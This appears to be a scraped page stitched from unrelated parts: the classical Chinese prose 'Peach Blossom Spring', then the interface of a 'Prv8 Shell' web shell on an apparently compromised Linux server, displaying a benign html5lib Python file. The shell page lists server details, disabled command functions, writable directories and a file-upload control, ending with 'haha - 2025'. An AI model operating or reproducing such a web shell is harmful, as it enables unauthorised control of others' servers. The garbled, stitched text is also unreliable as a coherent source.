晋太元中，武陵人捕鱼为业。缘溪行，忘路之远近。忽逢桃花林，夹岸数百步，中无杂树，芳草鲜美，落英缤纷。渔人甚异之，复前行，欲穷其林。 　　林尽水源，便得一山，山有小口，仿佛若有光。便舍船，从口入。初极狭，才通人。复行数十步，豁然开朗。土地平旷，屋舍俨然，有良田、美池、桑竹之属。阡陌交通，鸡犬相闻。其中往来种作，男女衣着，悉如外人。黄发垂髫，并怡然自乐。 　　见渔人，乃大惊，问所从来。具答之。便要还家，设酒杀鸡作食。村中闻有此人，咸来问讯。自云先世避秦时乱，率妻子邑人来此绝境，不复出焉，遂与外人间隔。问今是何世，乃不知有汉，无论魏晋。此人一一为具言所闻，皆叹惋。余人各复延至其家，皆出酒食。停数日，辞去。此中人语云：“不足为外人道也。”(间隔 一作：隔绝) 　　既出，得其船，便扶向路，处处志之。及郡下，诣太守，说如此。太守即遣人随其往，寻向所志，遂迷，不复得路。 　　南阳刘子骥，高尚士也，闻之，欣然规往。未果，寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /proc/self/root/lib/python2.7/site-packages/pip/_vendor/html5lib/treewalkers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/lib/python2.7/site-packages/pip/_vendor/html5lib/treewalkers/__init__.py
"""A collection of modules for iterating through different kinds of
tree, generating tokens identical to those produced by the tokenizer
module.

To create a tree walker for a new type of tree, you need to do
implement a tree walker object (called TreeWalker by convention) that
implements a 'serialize' method taking a tree as sole argument and
returning an iterator generating tokens.
"""

from __future__ import absolute_import, division, unicode_literals

from .. import constants
from .._utils import default_etree

__all__ = ["getTreeWalker", "pprint", "dom", "etree", "genshi", "etree_lxml"]

treeWalkerCache = {}


def getTreeWalker(treeType, implementation=None, **kwargs):
    """Get a TreeWalker class for various types of tree with built-in support

    Args:
        treeType (str): the name of the tree type required (case-insensitive).
            Supported values are:

            - "dom": The xml.dom.minidom DOM implementation
            - "etree": A generic walker for tree implementations exposing an
                       elementtree-like interface (known to work with
                       ElementTree, cElementTree and lxml.etree).
            - "lxml": Optimized walker for lxml.etree
            - "genshi": a Genshi stream

        Implementation: A module implementing the tree type e.g.
            xml.etree.ElementTree or cElementTree (Currently applies to the
            "etree" tree type only).
    """

    treeType = treeType.lower()
    if treeType not in treeWalkerCache:
        if treeType == "dom":
            from . import dom
            treeWalkerCache[treeType] = dom.TreeWalker
        elif treeType == "genshi":
            from . import genshi
            treeWalkerCache[treeType] = genshi.TreeWalker
        elif treeType == "lxml":
            from . import etree_lxml
            treeWalkerCache[treeType] = etree_lxml.TreeWalker
        elif treeType == "etree":
            from . import etree
            if implementation is None:
                implementation = default_etree
            # XXX: NEVER cache here, caching is done in the etree submodule
            return etree.getETreeModule(implementation, **kwargs).TreeWalker
    return treeWalkerCache.get(treeType)


def concatenateCharacterTokens(tokens):
    pendingCharacters = []
    for token in tokens:
        type = token["type"]
        if type in ("Characters", "SpaceCharacters"):
            pendingCharacters.append(token["data"])
        else:
            if pendingCharacters:
                yield {"type": "Characters", "data": "".join(pendingCharacters)}
                pendingCharacters = []
            yield token
    if pendingCharacters:
        yield {"type": "Characters", "data": "".join(pendingCharacters)}


def pprint(walker):
    """Pretty printer for tree walkers"""
    output = []
    indent = 0
    for token in concatenateCharacterTokens(walker):
        type = token["type"]
        if type in ("StartTag", "EmptyTag"):
            # tag name
            if token["namespace"] and token["namespace"] != constants.namespaces["html"]:
                if token["namespace"] in constants.prefixes:
                    ns = constants.prefixes[token["namespace"]]
                else:
                    ns = token["namespace"]
                name = "%s %s" % (ns, token["name"])
            else:
                name = token["name"]
            output.append("%s<%s>" % (" " * indent, name))
            indent += 2
            # attributes (sorted for consistent ordering)
            attrs = token["data"]
            for (namespace, localname), value in sorted(attrs.items()):
                if namespace:
                    if namespace in constants.prefixes:
                        ns = constants.prefixes[namespace]
                    else:
                        ns = namespace
                    name = "%s %s" % (ns, localname)
                else:
                    name = localname
                output.append("%s%s=\"%s\"" % (" " * indent, name, value))
            # self-closing
            if type == "EmptyTag":
                indent -= 2

        elif type == "EndTag":
            indent -= 2

        elif type == "Comment":
            output.append("%s<!-- %s -->" % (" " * indent, token["data"]))

        elif type == "Doctype":
            if token["name"]:
                if token["publicId"]:
                    output.append("""%s<!DOCTYPE %s "%s" "%s">""" %
                                  (" " * indent,
                                   token["name"],
                                   token["publicId"],
                                   token["systemId"] if token["systemId"] else ""))
                elif token["systemId"]:
                    output.append("""%s<!DOCTYPE %s "" "%s">""" %
                                  (" " * indent,
                                   token["name"],
                                   token["systemId"]))
                else:
                    output.append("%s<!DOCTYPE %s>" % (" " * indent,
                                                       token["name"]))
            else:
                output.append("%s<!DOCTYPE >" % (" " * indent,))

        elif type == "Characters":
            output.append("%s\"%s\"" % (" " * indent, token["data"]))

        elif type == "SpaceCharacters":
            assert False, "concatenateCharacterTokens should have got rid of all Space tokens"

        else:
            raise ValueError("Unknown token type, %s" % type)

    return "\n".join(output)

haha - 2025